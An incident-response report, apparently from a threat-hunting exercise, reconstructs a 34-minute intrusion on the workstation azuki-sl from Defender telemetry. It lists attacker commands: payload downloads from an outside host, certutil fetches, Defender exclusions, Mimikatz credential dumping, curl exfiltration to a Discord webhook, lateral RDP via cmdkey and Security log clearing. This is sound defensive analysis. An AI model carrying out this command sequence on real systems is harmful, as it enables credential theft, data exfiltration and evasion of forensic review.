Azuki Import/Export (梓貿易株式会社) investigated a targeted intrusion consistent with corporate espionage after a competitor undercut a long-term supplier contract by exactly 3% and supplier contracts/pricing data later appeared on underground forums. The compromise centered on the IT admin workstation azuki-sl during the window 2025-11-19 → 2025-11-20 (UTC), reconstructed using Microsoft Defender for Endpoint telemetry in Microsoft Sentinel across DeviceLogonEvents, DeviceProcessEvents, DeviceRegistryEvents, DeviceNetworkEvents, and DeviceFileEvents.

Telemetry confirmed successful RemoteInteractive (RDP) access to azuki-sl from the external IP 88.97.178.12 using the account kenji.sato. Following access, the threat actor moved quickly into tool transfer and environment preparation. At 18:37 UTC, PowerShell retrieved wupdate.ps1 from 78.141.196.6:8080, followed by additional script retrieval (wupdate.bat) between 18:46–18:49 UTC. During the same phase, Windows Defender posture was intentionally weakened by adding exclusions for .ps1, .bat, and .exe extensions and excluding the user Temp path (C:\Users\KENJI~1.SAT\AppData\Local\Temp) to reduce inspection of attacker tooling and execution artefacts.

With defenses softened, the actor performed interactive reconnaissance (ipconfig /all and arp -a) at 19:03–19:04 UTC, then established a dedicated staging area by hiding C:\ProgramData\WindowsCache at 19:05 UTC using attrib +h +s. Tooling was downloaded via LOLBIN abuse (certutil -urlcache -f) between 19:06–19:07 UTC, writing payloads as svchost.exe and mm.exe. Persistence was added at 19:07 UTC through a scheduled task named "Windows Update Check" executing C:\ProgramData\WindowsCache\svchost.exe daily at 02:00 as SYSTEM. Network telemetry differentiated staging versus C2: :8080 tied to PowerShell/certutil downloads, :443 tied to the staged payload (svchost.exe).

At 19:08 UTC, the actor executed mm.exe with command-line indicators consistent with Mimikatz usage (privilege::debug sekurlsa::logonpasswords) to extract credential material from LSASS. At 19:09 UTC, export-data.zip was exfiltrated from C:\ProgramData\WindowsCache via curl to a Discord webhook. At 19:10 UTC, the actor staged credentials for 10.1.0.188 using cmdkey (fileadmin) then initiated RDP via mstsc. The sequence concluded at 19:11 UTC with wevtutil cl Security.

Impact: Confirmed data exfiltration (export-data.zip), confirmed credential dumping activity (sekurlsa::logonpasswords), persistence established (scheduled task and documented backdoor local account support), Windows Defender exclusions applied, and Security log cleared to degrade forensic visibility.

• Threat actor accessed azuki-sl via RDP (RemoteInteractive) from 88.97.178.12 using kenji.sato.
• Threat actor downloaded wupdate.ps1 from http://78.141.196.6:8080/wupdate.ps1 and wrote it into the user Temp path.
• Threat actor downloaded wupdate.bat from http://78.141.196.6:8080/wupdate.bat and wrote it into the user Temp path.
• Threat actor added Windows Defender extension exclusions for .bat, .ps1, .exe via Defender exclusion registry paths.
• Threat actor added a Windows Defender path exclusion for C:\Users\KENJI~1.SAT\AppData\Local\Temp.
• Threat actor performed interactive reconnaissance using ipconfig /all and arp -a.
• Threat actor created and concealed a staging directory by applying attrib +h +s to C:\ProgramData\WindowsCache.
• Threat actor abused certutil.exe -urlcache -f to download payloads into the staging directory, writing svchost.exe and mm.exe.
• Threat actor created persistence via scheduled task "Windows Update Check" executing C:\ProgramData\WindowsCache\svchost.exe daily at 02:00 as SYSTEM.
• Threat actor established external communications, using :8080 for transfer and :443 for payload communications to 78.141.196.6.
• Threat actor executed credential dumping commands via mm.exe using privilege::debug and sekurlsa::logonpasswords.
• Threat actor staged and exfiltrated C:\ProgramData\WindowsCache\export-data.zip using curl to https://discord.com/api/webhooks/....
• Threat actor attempted lateral movement by storing credentials for 10.1.0.188 with cmdkey (user fileadmin) and initiating RDP via mstsc.exe /v:10.1.0.188.
• Threat actor cleared the Windows Security event log using wevtutil.exe cl Security.

Timeline (UTC; reconstructed from Defender telemetry using the queries in the KQL Queries section):

Observed dwell time: ~34 minutes (18:37–19:11 UTC).

88.97.178.12 (Initial Access Source) — OSINT enrichment identified this IP as located in London, England, United Kingdom, associated with AS51809 (BRSK Limited) and characterised as DSL access. The residential nature of the source is consistent with interactive access paths such as stolen credentials used directly from consumer connectivity, rather than a dedicated cloud/VPS host typically seen for malware staging.

78.141.196.6 (Staging + C2 Server) — OSINT enrichment identified this IP as located in London, England, United Kingdom, with hostname 78.141.196.6.vultrusercontent.com, and associated with AS20473 (The Constant Company, LLC / Vultr Holdings LLC). The hosting classification supports its role as attacker-controlled infrastructure used for both payload delivery and C2. Telemetry showed clear role separation by port and initiating process: :8080 correlated directly with download utilities (powershell.exe, certutil.exe); :443 correlated with the staged payload (svchost.exe) communicating outbound, consistent with C2/beacon behaviour designed to blend into common HTTPS traffic.

• A "quiet" business anomaly can be the first meaningful indicator of a targeted intrusion and data theft.
• Defender exclusions for scripts/executables and Temp directories directly enable rapid tool execution and should be treated as high-signal events.
• A hidden ProgramData staging directory combined with masqueraded filenames ("svchost.exe", "mm.exe") is strong evidence of deliberate tradecraft rather than accidental software behaviour.
• Credential dumping marks a pivot point from single-host compromise to assumed credential exposure across the environment.
• Clearing the Security event log is a decisive anti-forensic action that should immediately elevate incident priority and scoping urgency.
• Separating "tool transfer" traffic from "beacon/C2" traffic by port and initiating process prevents misclassification of attacker infrastructure roles.